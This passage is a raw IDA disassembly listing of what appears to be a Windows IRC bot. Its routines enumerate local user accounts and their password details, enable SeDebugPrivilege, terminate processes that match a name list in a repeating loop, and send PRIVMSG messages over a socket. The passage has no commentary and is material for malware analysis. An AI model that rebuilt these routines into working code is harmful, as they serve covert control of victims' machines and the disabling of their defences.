		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41C266
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409869
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_419817
; ---------------------------------------------------------------------------


loc_4197EB:				; CODE XREF: sub_419443+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439CE8
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409869
		add	esp, 20h


loc_419817:				; CODE XREF: sub_419443+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_419826
		push	[ebp+var_4]
		call	dword_4CBA64


loc_419826:				; CODE XREF: sub_419443+40j
					; sub_419443+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_419443	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41982C	proc near		; CODE XREF: sub_401ACD+463Ap

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_419177
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 18h


loc_41986B:				; CODE XREF: sub_41982C+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CB934
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_4198CC
		cmp	eax, 0EAh
		jz	short loc_4198CC
		push	eax
		push	eax
		call	sub_4199AC
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439ED8
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 24h
		jmp	short loc_419947
; ---------------------------------------------------------------------------


loc_4198CC:				; CODE XREF: sub_41982C+62j
					; sub_41982C+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41995A
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_419947


loc_4198DE:				; CODE XREF: sub_41982C+EDj
		cmp	edi, esi
		jz	short loc_41991D
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4198DE
		jmp	short loc_419947
; ---------------------------------------------------------------------------


loc_41991D:				; CODE XREF: sub_41982C+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_439EA4
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 1Ch


loc_419947:				; CODE XREF: sub_41982C+9Ej
					; sub_41982C+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41995A
		push	edi
		call	dword_4CBA64
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41995A:				; CODE XREF: sub_41982C+A5j
					; sub_41982C+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41986B
		cmp	edi, esi
		jz	short loc_419972
		push	edi
		call	dword_4CBA64


loc_419972:				; CODE XREF: sub_41982C+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_41982C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4199AC	proc near		; CODE XREF: sub_418FE5+41p
					; sub_4191DB+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419A5E
		jz	loc_419A57
		cmp	eax, 7Bh
		ja	short loc_419A23
		jz	short loc_419A19
		cmp	eax, 5
		jz	short loc_419A0F
		cmp	eax, 8
		jz	short loc_419A05
		cmp	eax, 32h
		jz	short loc_4199FB
		cmp	eax, 35h
		jz	short loc_4199F1
		cmp	eax, 57h
		jnz	loc_419AAD
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_4199F1:				; CODE XREF: sub_4199AC+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_4199FB:				; CODE XREF: sub_4199AC+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A05:				; CODE XREF: sub_4199AC+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A0F:				; CODE XREF: sub_4199AC+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A19:				; CODE XREF: sub_4199AC+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A23:				; CODE XREF: sub_4199AC+1Aj
		sub	eax, 7Ch
		jz	short loc_419A50
		sub	eax, 7C8h
		jz	short loc_419A49
		dec	eax
		jz	short loc_419A3F
		dec	eax
		jnz	short loc_419AAD
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A3F:				; CODE XREF: sub_4199AC+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A49:				; CODE XREF: sub_4199AC+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A50:				; CODE XREF: sub_4199AC+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A57:				; CODE XREF: sub_4199AC+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A5E:				; CODE XREF: sub_4199AC+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_419A97
		jz	short loc_419A90
		sub	eax, 8ADh
		jz	short loc_419AC2
		dec	eax
		dec	eax
		jz	short loc_419A89
		dec	eax
		jz	short loc_419A82
		dec	eax
		dec	eax
		jnz	short loc_419AAD
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A82:				; CODE XREF: sub_4199AC+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A89:				; CODE XREF: sub_4199AC+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A90:				; CODE XREF: sub_4199AC+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A97:				; CODE XREF: sub_4199AC+B9j
		sub	eax, 8CAh
		jz	short loc_419AC9
		sub	eax, 17h
		jz	short loc_419AC2
		sub	eax, 25h
		jz	short loc_419ABB
		sub	eax, 29h
		jz	short loc_419AB4


loc_419AAD:				; CODE XREF: sub_4199AC+35j
					; sub_4199AC+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AB4:				; CODE XREF: sub_4199AC+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419ABB:				; CODE XREF: sub_4199AC+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AC2:				; CODE XREF: sub_4199AC+C2j
					; sub_4199AC+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AC9:				; CODE XREF: sub_4199AC+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419ACE:				; CODE XREF: sub_4199AC+40j
					; sub_4199AC+4Aj ...
		push	offset dword_4DB5E0
		call	sub_41C266
		pop	ecx
		mov	eax, offset dword_4DB5E0
		pop	ecx
		retn
sub_4199AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419AE0	proc near		; CODE XREF: sub_401ACD+467Fp

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41E0D4
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	dword_4270C8	; GetComputerNameA
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41E0D4
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41E0B7
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CB9E4
		test	eax, eax
		jnz	short loc_419B70
		mov	esi, offset dword_4DB3DC
		push	offset unk_43A20C
		push	esi
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_419B99
; ---------------------------------------------------------------------------


loc_419B70:				; CODE XREF: sub_419AE0+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_4199AC
		pop	ecx
		mov	esi, offset dword_4DB3DC
		push	eax
		push	offset dword_43A1E0
		push	esi
		call	sub_41C266
		add	esp, 14h


loc_419B99:				; CODE XREF: sub_419AE0+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419AE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B9E	proc near		; CODE XREF: sub_4172C1+45p
					; sub_4172C1+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	dword_427104	; GetCurrentProcess
		push	eax
		call	dword_4CB9B8	; OpenProcessToken
		test	eax, eax
		jnz	short loc_419BBD
		leave
		retn
; ---------------------------------------------------------------------------


loc_419BBD:				; CODE XREF: sub_419B9E+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CB990	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_419BFB
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419BE4
		or	[ebp+var_8], 2
		jmp	short loc_419BE8
; ---------------------------------------------------------------------------


loc_419BE4:				; CODE XREF: sub_419B9E+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_419BE8:				; CODE XREF: sub_419B9E+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CBA40	; AdjustTokenPrivileges
		mov	esi, eax


loc_419BFB:				; CODE XREF: sub_419B9E+32j
		push	[ebp+var_4]
		call	dword_427070	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419B9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C09	proc near		; CODE XREF: sub_401ACD+7770p
					; sub_419E38+74p ...

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CB9F4, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_419E08
		cmp	dword_4CB9D8, ebx
		jz	loc_419E08
		cmp	dword_4CB8E8, ebx
		jz	loc_419E08
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CB9F4	; CreateToolhelp32Snapshot
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_419DFB
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CB9D8	; Process32First
		mov	esi, dword_427070
		test	eax, eax
		jz	loc_419DF6
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CB8E8	; Process32Next
		test	eax, eax
		jz	loc_419DF6
		mov	edi, dword_42708C
		mov	ebx, 1F0FFFh


loc_419CCD:				; CODE XREF: sub_419C09+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_419D34
		mov	[ebp+var_4], offset off_43A238


loc_419CDB:				; CODE XREF: sub_419C09+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		call	dword_42718C	; lstrcmpi
		test	eax, eax
		jz	short loc_419D03
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_43A298
		jb	short loc_419CDB
		jmp	loc_419DDC
; ---------------------------------------------------------------------------


loc_419D03:				; CODE XREF: sub_419C09+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_419DDC
		push	0
		push	eax
		call	dword_4270FC	; TerminateProcess
		test	eax, eax
		jnz	loc_419DDC


loc_419D2A:				; CODE XREF: sub_419C09+1B9j
		push	[ebp+var_4]
		call	esi	; CloseHandle
		jmp	loc_419DDC
; ---------------------------------------------------------------------------


loc_419D34:				; CODE XREF: sub_419C09+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_419DC7
		cmp	[ebp+arg_4], eax
		jz	loc_419DDC
		push	[ebp+var_128]
		push	8
		call	dword_4CB9F4	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_419D87
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CB894	; Module32First
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419D8D
		lea	eax, [ebp+var_234]
		jmp	short loc_419D93
; ---------------------------------------------------------------------------


loc_419D87:				; CODE XREF: sub_419C09+15Cj
		push	[ebp+var_128]


loc_419D8D:				; CODE XREF: sub_419C09+174j
		lea	eax, [ebp+var_10C]


loc_419D93:				; CODE XREF: sub_419C09+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h
		jmp	loc_419D2A
; ---------------------------------------------------------------------------


loc_419DC7:				; CODE XREF: sub_419C09+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419E0F


loc_419DDC:				; CODE XREF: sub_419C09+F5j
					; sub_419C09+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CB8E8	; Process32Next
		test	eax, eax
		jnz	loc_419CCD
		xor	ebx, ebx


loc_419DF6:				; CODE XREF: sub_419C09+9Dj
					; sub_419C09+B3j
		push	[ebp+var_8]
		call	esi	; CloseHandle


loc_419DFB:				; CODE XREF: sub_419C09+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx


loc_419E08:				; CODE XREF: sub_419C09+3Aj
					; sub_419C09+46j ...
		xor	eax, eax


loc_419E0A:				; CODE XREF: sub_419C09+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_419E0F:				; CODE XREF: sub_419C09+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		push	[ebp+var_8]
		mov	edi, eax
		call	esi	; CloseHandle
		push	0
		push	edi
		call	dword_4270FC	; TerminateProcess
		test	eax, eax
		jnz	short loc_419E33
		push	edi
		call	esi	; CloseHandle
		jmp	short loc_419E08
; ---------------------------------------------------------------------------


loc_419E33:				; CODE XREF: sub_419C09+223j
		push	1
		pop	eax
		jmp	short loc_419E0A
sub_419C09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E38	proc near		; DATA XREF: sub_401ACD+2687o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_43A438
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41C266
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_419E97
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409869
		add	esp, 14h


loc_419E97:				; CODE XREF: sub_419E38+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_419C09
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419EBF
		push	offset unk_43A414
		jmp	short loc_419EC4
; ---------------------------------------------------------------------------


loc_419EBF:				; CODE XREF: sub_419E38+7Ej
		push	offset unk_43A3F0


loc_419EC4:				; CODE XREF: sub_419E38+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41C266
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_419EF7
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409869
		add	esp, 14h


loc_419EF7:				; CODE XREF: sub_419E38+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_415D38
		push	[ebp+var_14]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
sub_419E38	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419F16	proc near		; CODE XREF: sub_401ACD+7712p
					; sub_40B4F5+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		call	dword_42708C	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_419F48
		push	0
		push	esi
		call	dword_4270FC	; TerminateProcess
		test	eax, eax
		jnz	short loc_419F48
		push	esi
		xor	edi, edi
		call	dword_427070	; CloseHandle


loc_419F48:				; CODE XREF: sub_419F16+1Aj
					; sub_419F16+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_419F16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_419F4D	proc near		; DATA XREF: sub_401221+3CDo
		push	esi
		xor	esi, esi


loc_419F50:				; CODE XREF: sub_419F4D+1Ej
		push	1
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_419C09
		add	esp, 18h
		push	dword_43A234
		call	dword_427080	; Sleep
		jmp	short loc_419F50
sub_419F4D	endp


; =============== S U B	R O U T	I N E =======================================



sub_419F6D	proc near		; CODE XREF: sub_419F9D+2Ap
					; sub_419FD5+7Ep ...
		mov	eax, dword_4DBC48
		push	esi
		mov	esi, dword_427070
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F81
		push	eax
		call	esi	; CloseHandle


loc_419F81:				; CODE XREF: sub_419F6D+Fj
		mov	eax, dword_4DBC50
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F8E
		push	eax
		call	esi	; CloseHandle


loc_419F8E:				; CODE XREF: sub_419F6D+1Cj
		mov	eax, dword_4DBC44
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F9B
		push	eax
		call	esi	; CloseHandle


loc_419F9B:				; CODE XREF: sub_419F6D+29j
		pop	esi
		retn
sub_419F6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419F9D	proc near		; CODE XREF: sub_401ACD+7475p
					; sub_416000+14Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41B9C0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DBC4C
		call	dword_4270F0	; WriteFile
		test	eax, eax
		jnz	short loc_419FD0
		call	sub_419F6D
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419FD0:				; CODE XREF: sub_419F9D+28j
		push	1
		pop	eax
		leave
		retn
sub_419F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FD5	proc near		; CODE XREF: sub_41A05C+D3p
					; sub_41A05C+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_43DB88
		push	[ebp+arg_4]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A018
		push	7D0h
		call	dword_427080	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_41A02F
; ---------------------------------------------------------------------------


loc_41A018:				; CODE XREF: sub_419FD5+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_41A02F:				; CODE XREF: sub_419FD5+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24	; send
		test	eax, eax
		jg	short loc_41A058
		call	sub_419F6D


loc_41A058:				; CODE XREF: sub_419FD5+7Cj
		xor	eax, eax
		leave
		retn
sub_419FD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A05C	proc near		; DATA XREF: sub_41A1B1+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

